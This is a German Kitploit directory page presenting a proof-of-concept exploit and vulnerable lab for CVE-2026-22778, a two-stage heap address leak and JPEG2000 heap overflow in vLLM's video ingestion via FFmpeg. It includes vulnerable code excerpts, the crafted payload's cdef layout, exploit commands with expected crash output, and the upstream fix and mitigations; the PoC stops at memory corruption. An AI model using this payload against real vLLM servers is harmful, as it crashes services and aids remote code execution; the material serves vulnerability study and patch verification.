Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-22778
SchwachstellenanalyseExploitationWebanwendungs-ExploitationFuzzingPenetrationstestsLernen & BildungBinary-ExploitationLabs & Praxis
GitHub
joaovicdev/exploit-cve-2026-22778

EXPLOIT-CVE-2026-22778

Proof-of-Concept-Exploit für CVE-2026-22778, eine nicht authentifizierte RCE in vLLMs Videoverarbeitung, die die Offenlegung von Heap-Adressen und einen Heap-Pufferüberlauf im JPEG2000-Decoder von FFmpeg demonstriert. Enthält ein verwundbares Labor für autorisierte Tests.

Repository anzeigen
1vor 9h 14mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22778 — vLLM RCE bei der Videoverarbeitung

Verwundbares Labor + Proof of Concept für CVE-2026-22778 (CVSS 9.8), eine unauthentifizierte Remote-Code-Execution-Kette im multimodalen Ingestionspfad von vLLM.

CVECVE-2026-22778
AdvisoryGHSA-4r2x-xpjr-7cvv
BetroffenvLLM >= 0.8.3, < 0.14.1 (Bereitstellungen, die Videomodelle ausliefern)
Behoben invLLM 0.14.1
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Zugrunde liegender FehlerCVE-2025-9951 — Heap-Pufferüberlauf im JPEG2000-Decoder von FFmpeg

Die Schwachstelle

Zwei getrennte Fehler, die miteinander verkettet sind. Ein standardmäßiger vllm serve hat keine Authentifizierung, daher sind beide vor der Authentifizierung über /v1/chat/completions und /v1/invocations erreichbar.

Stufe 1 — Offenlegung der Heap-Adresse (ASLR-Umgehung)

Wenn ein Bild nicht geparst werden kann, löst Pillow eine Ausnahme aus, deren Meldung das repr() des BytesIO-Objekts enthält, aus dem gelesen wurde:

root@kitploit:~
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>

vLLM wandelte Medienladefehler in einen HTTP-400 um und gab exc.detail unverändert an den Client zurück (api_server.py):

root@kitploit:~
async def http_exception_handler(_: Request, exc: HTTPException):
    err = ErrorResponse(
        error=ErrorInfo(
            message=exc.detail,          # <-- gibt die Adresse wörtlich preis
            ...

Diese einzelne Adresse reduziert die Heap-ASLR von ~32 Bit Entropie auf grob 3, was Stufe 2 ausnutzbar macht und nicht nur zu einem Absturz führt.

Stufe 2 — Heap-Pufferüberlauf im JPEG2000-Decoder

Eine video_url wird vom Server abgerufen und an OpenCV übergeben:

root@kitploit:~
MediaConnector.load_from_url()      vllm/multimodal/utils.py
  -> OpenCVVideoBackend.load_bytes()   vllm/multimodal/video.py
    -> cv2.VideoCapture(BytesIO(data), backend, [])
      -> FFmpeg 5.1.x (gebündelt in opencv-python-headless < 4.13)

vLLM hat opencv-python-headless >= 4.11.0 festgelegt, das FFmpeg 5.1.x mitliefert. Dessen JPEG2000-Decoder wählt die Zielebene direkt aus der Kanaldefinitions-Box (cdef) der Datei aus — libavcodec/jpeg2000dec.c, write_frame_8:

root@kitploit:~
if (planar)
    plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...;   /* von der Komponente   */
int h = tile->comp[compno].coord[1][1] - ...;   /* nicht von der Ebene! */

plane ist angreiferkontrolliert, aber w/h stammen von der Komponente, die dekodiert wird, und nichts prüft, ob eine in die andere passt. Ein cdef-Eintrag von cn=0, asoc=2 sendet Komponente 0 — die Luma-Ebene in voller Auflösung — in Ebene 1, die 2×2-unterabgetastete Chroma-Ebene.

Für den 150×64-Frame, den dieses PoC verwendet:

Größe
Y-Komponente (geschrieben)150 × 64 = 9.600 Bytes
U-Ebene (Ziel)75 × 32 = 2.400 Bytes
Überlauf7.200 Bytes über die Zuweisung hinaus

FFmpeg weist jeder Ebene einen eigenen AVBuffer zu, sodass der Überlauf durch benachbarte Heap-Blöcke läuft — einschließlich AVBuffer-Strukturen, die einen free-Funktionszeiger enthalten. In Kombination mit dem Leak aus Stufe 1 ist das Überschreiben dieses Zeigers das, was die Korruption in Codeausführung verwandelt.

Dieses PoC stoppt bei der Speicherkorruption. Es beweist den Out-of-Bounds-Schreibzugriff, indem es den Serverprozess beendet. Heap-Grooming und das Überschreiben des Funktionszeigers sind bewusst nicht implementiert.

Das Labor

lab/app.py ist eine minimale Neuimplementierung des multimodalen Ingestionspfads von vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend und der Error-Handler vor dem Patch, jeweils mit der Upstream-Datei annotiert, die er spiegelt. Die Modelllaufzeit ist ausgestubbt: Die Schwachstelle liegt vollständig in der Medienaufnahme, die vor der Inferenz läuft und weder GPU noch Modellgewichte benötigt.

Alles auf dem Angriffspfad ist echt — derselbe Pillow-Aufruf, der die Adresse leakt, und derselbe cv2.VideoCapture-Aufruf in ein ungepatchtes opencv-python-headless==4.11.0.86 (FFmpeg 5.1.x, libavcodec 59.37.100).

Verwendung

root@kitploit:~
docker compose up -d --build
python3 exploit.py

Optionen:

root@kitploit:~
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve                  # Payload über HTTP ausliefern
python3 exploit.py --write-payload evil.jp2 # nur die bösartige Datei schreiben

Der Exploit besteht rein aus der Standardbibliothek — keine Abhängigkeiten.

Erwartete Ausgabe

root@kitploit:~
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.

[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
    Request never completed: Remote end closed connection without response
    Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.

Und die Serverseite:

root@kitploit:~
$ docker compose logs vllm
cve-2026-22778-lab  | INFO:     POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab  | corrupted size vs. prev_size
cve-2026-22778-lab  | INFO:     Started server process [1]

Abbau:

root@kitploit:~
docker compose down

Der Payload

203 Bytes, von Grund auf in build_payload() erstellt. Ein JP2-Container mit einem minimalen JPEG2000-Codestream, der drei Komponenten mit 4:2:0-Unterabtastung deklariert (sodass FFmpeg einen yuv420p-Frame zuweist), plus eine cdef-Box, die sie neu zuordnet:

root@kitploit:~
cn=0, typ=0, asoc=2   <-- Komponente 0 (volle Auflösung) in Ebene 1 (unterabgetastet)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3

Die Koeffizientendaten sind leer. Der Decoder weist den Frame trotzdem aus dem SIZ-Header zu und führt die Schreibschleife weiterhin aus, sodass keine echten Bilddaten benötigt werden.

Fix

vLLM 0.14.1, über drei PRs:

  • #31987 — fügt sanitize_message() hinzu, das at 0x<addr>> aus Objekt-Reprs entfernt, bevor sie den Client erreichen.
  • #32319 — leitet die verbleibenden Fehlerpfade durch diese Funktion.
  • #32668 — hebt opencv-python-headless auf >= 4.13.0 an und übernimmt damit den FFmpeg-Fix für CVE-2025-9951.

Upstream-FFmpeg lehnt jetzt eine cdef-Zuordnung ab, die keine Permutation der Kanäle ist, und leitet das Pixelformat aus den neu zugeordneten Indizes ab:

root@kitploit:~
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
    cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
    return AVERROR_INVALIDDATA;

Wenn man die Festlegung des Labors auf opencv-python-headless>=4.13.0 umstellt, schlägt derselbe Payload harmlos mit error during processing marker segment ff51 fehl.

Wenn Sie nicht aktualisieren können: Stellen Sie keine Videomodelle bereit, setzen Sie Authentifizierung vor die API und beschränken Sie den Medienabruf mit --allowed-media-domains.

Hinweise

  • Das Labor startet nach jedem Absturz automatisch neu, sodass das PoC wiederholt ausgeführt werden kann.
  • Auf Apple Silicon lassen Sie docker compose für die native arm64-Architektur bauen (Standard). Das Erzwingen von --platform linux/amd64 führt den Container unter Emulation aus, wo der abbrechende Prozess hängt statt zu beenden und der Absturz schwerer zu beobachten ist.

Referenzen

  • NVD — CVE-2026-22778
  • vLLM-Advisory — GHSA-4r2x-xpjr-7cvv
  • FFmpeg-Advisory — GHSA-39q3-f8jq-v6mg (CVE-2025-9951)

Haftungsausschluss

Nur für Bildungszwecke und autorisierte Sicherheitstests. Führen Sie es gegen das Labor in diesem Repository oder gegen Systeme aus, für die Sie eine ausdrückliche Testgenehmigung haben.

Tool herunterladen